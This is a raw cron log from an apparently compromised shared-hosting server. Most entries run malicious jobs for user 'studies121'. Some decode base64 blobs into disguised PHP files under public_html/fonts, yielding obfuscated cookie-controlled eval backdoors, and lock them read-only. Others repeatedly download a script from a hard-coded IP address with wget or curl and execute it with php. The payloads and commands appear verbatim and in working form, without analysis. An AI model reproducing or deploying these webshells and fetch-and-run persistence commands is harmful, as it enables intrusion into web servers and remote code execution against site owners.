Sep 12 14:22:01 ip-184-168-122-23 CROND[8111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:23:01 ip-184-168-122-23 CROND[8196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:23:01 ip-184-168-122-23 CROND[8197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:23:01 ip-184-168-122-23 CROND[8199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:23:01 ip-184-168-122-23 CROND[8200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:24:01 ip-184-168-122-23 CROND[8283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:24:01 ip-184-168-122-23 CROND[8285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:24:01 ip-184-168-122-23 CROND[8286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:24:01 ip-184-168-122-23 CROND[8287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:24:01 ip-184-168-122-23 CROND[8288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:25:01 ip-184-168-122-23 CROND[8384]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:25:01 ip-184-168-122-23 CROND[8387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:25:01 ip-184-168-122-23 CROND[8388]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 14:25:01 ip-184-168-122-23 CROND[8390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:25:01 ip-184-168-122-23 CROND[8389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:25:01 ip-184-168-122-23 CROND[8391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:25:01 ip-184-168-122-23 CROND[8393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:26:01 ip-184-168-122-23 CROND[8488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:26:01 ip-184-168-122-23 CROND[8490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:26:01 ip-184-168-122-23 CROND[8491]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 12 14:26:01 ip-184-168-122-23 CROND[8494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:26:01 ip-184-168-122-23 CROND[8492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:26:01 ip-184-168-122-23 CROND[8493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 12 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 12 14:27:01 ip-184-168-122-23 CROND[8738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:27:01 ip-184-168-122-23 CROND[8740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:27:01 ip-184-168-122-23 CROND[8741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:27:01 ip-184-168-122-23 CROND[8742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:28:01 ip-184-168-122-23 CROND[8856]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:28:01 ip-184-168-122-23 CROND[8860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:28:01 ip-184-168-122-23 CROND[8859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:28:01 ip-184-168-122-23 CROND[8861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:28:01 ip-184-168-122-23 CROND[8858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:29:01 ip-184-168-122-23 CROND[8964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:29:01 ip-184-168-122-23 CROND[8966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:29:01 ip-184-168-122-23 CROND[8967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:29:01 ip-184-168-122-23 CROND[8968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:30:01 ip-184-168-122-23 CROND[9059]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:30:01 ip-184-168-122-23 CROND[9058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:30:01 ip-184-168-122-23 CROND[9060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:30:01 ip-184-168-122-23 CROND[9064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:30:01 ip-184-168-122-23 CROND[9066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:30:01 ip-184-168-122-23 CROND[9067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:30:01 ip-184-168-122-23 CROND[9074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:30:01 ip-184-168-122-23 CROND[9072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:31:01 ip-184-168-122-23 CROND[9181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:31:01 ip-184-168-122-23 CROND[9183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:31:01 ip-184-168-122-23 CROND[9184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:31:01 ip-184-168-122-23 CROND[9185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:31:01 ip-184-168-122-23 CROND[9186]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:32:01 ip-184-168-122-23 CROND[9353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:32:01 ip-184-168-122-23 CROND[9355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:32:01 ip-184-168-122-23 CROND[9356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:32:01 ip-184-168-122-23 CROND[9358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:32:01 ip-184-168-122-23 CROND[9357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:33:01 ip-184-168-122-23 CROND[9459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 14:33:01 ip-184-168-122-23 CROND[9461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:33:01 ip-184-168-122-23 CROND[9462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 14:33:01 ip-184-168-122-23 CROND[9463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:34:01 ip-184-168-122-23 CROND[9546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 14:34:01 ip-184-168-122-23 CROND[9548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:34:01 ip-184-168-122-23 CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:34:01 ip-184-168-122-23 CROND[9552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
